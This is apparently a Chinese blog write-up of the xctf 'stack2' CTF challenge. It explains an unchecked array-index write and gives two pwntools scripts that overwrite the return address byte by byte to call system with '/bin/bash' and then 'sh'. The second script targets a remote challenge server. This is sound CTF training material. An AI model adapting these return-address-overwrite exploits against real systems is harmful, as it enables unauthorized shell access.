zoukankan      html  css  js  c++  java
  • xctf

    xctf - stack2

    文件check一下,几乎全开了

    运行一下程序,好像很正常呢:

     再来一个大的,好像有点儿问题,变1.00了

    在ida中查看,在输入的时候没有检查数据大小

     可以通过劫持eip获取shell。程序偏移0x84,程序中读取了低位,需要逐位添加地址

     system(‘/bin/bash’)地址:0x0804859b

    #!/usr/bin/env python
    #coding:utf-8
    
    from pwn import *
    
    p = process('./stack2')
    #p = remote('xxxxx',xxxx)
    
    system_bish_addr = 0x0804859b
    
    leave_offset = 0x84
    
    def write_adrr(addr,va):
        p.sendline('3')
        p.recvuntil('which number to change:
    ')
        p.sendline(str(addr))
        p.recvuntil('new number:
    ')
        p.sendline(str(va))
        p.recvuntil('5. exit
    ')
    
    #payload = xxxxx
    
    p.sendlineafter('How many numbers you have:
    ','1')
    
    p.sendlineafter('Give me your numbers
    ','2')
    
    p.recvuntil('5. exit
    ')
    
    write_adrr(leave_offset,0x9b)
    write_adrr(leave_offset+1,0x85)
    write_adrr(leave_offset+2,0x04)
    write_adrr(leave_offset+3,0x08)
    
    p.sendline('5')
    p.interactive()

    本地成功,远程失败,提示没有bash,只有sh

     

     需要改一下代码:

    先找一下程序的system地址和sh地址:

     

    system_addr = 0x08048450

    bish_addr = 0x08048987

    修改后:

    #!/usr/bin/env python
    #coding:utf-8
    
    from pwn import *
    
    #p = process('./stack2')
    p = remote('111.198.29.45',58596)
    
    system_addr = 0x08048450
    bish_addr = 0x08048987
    
    leave_offset = 0x84
    
    def write_adrr(addr,va):
        p.sendline('3')
        p.recvuntil('which number to change:
    ')
        p.sendline(str(addr))
        p.recvuntil('new number:
    ')
        p.sendline(str(va))
        p.recvuntil('5. exit
    ')
    
    #payload = xxxxx
    
    p.sendlineafter('How many numbers you have:
    ','1')
    
    p.sendlineafter('Give me your numbers
    ','2')
    
    p.recvuntil('5. exit
    ')
    
    write_adrr(leave_offset,0x50)
    write_adrr(leave_offset+1,0x84)
    write_adrr(leave_offset+2,0x04)
    write_adrr(leave_offset+3,0x08)
    
    leave_offset +=8
    write_adrr(leave_offset,0x87)
    write_adrr(leave_offset+1,0x89)
    write_adrr(leave_offset+2,0x04)
    write_adrr(leave_offset+3,0x08)
    p.sendline('5')
    p.interactive()

    成功!

  • 相关阅读:
    maven打包成jar文件与打包成tar.gz文件
    maven命令错误:-Dmaven.multiModuleProjectDirectory system property is not set. Check $M2_HOME
    Nginx监听多个端口配置实例 Linux
    怎么修改redis-cli访问的地址
    eclipse的.properties文件中文显示问题
    Linux关闭防火墙命令red hat/CentOs7
    CentOS 7防火墙快速开放端口配置方法
    Window下Beego环境搭建和bee工具使用
    .netcore2.1 使用middleware对api请求头进行验证
    .netcore2.1 统一接口返回属性名称
  • 原文地址:https://www.cnblogs.com/yidianhan/p/12033792.html
Copyright © 2011-2022 走看看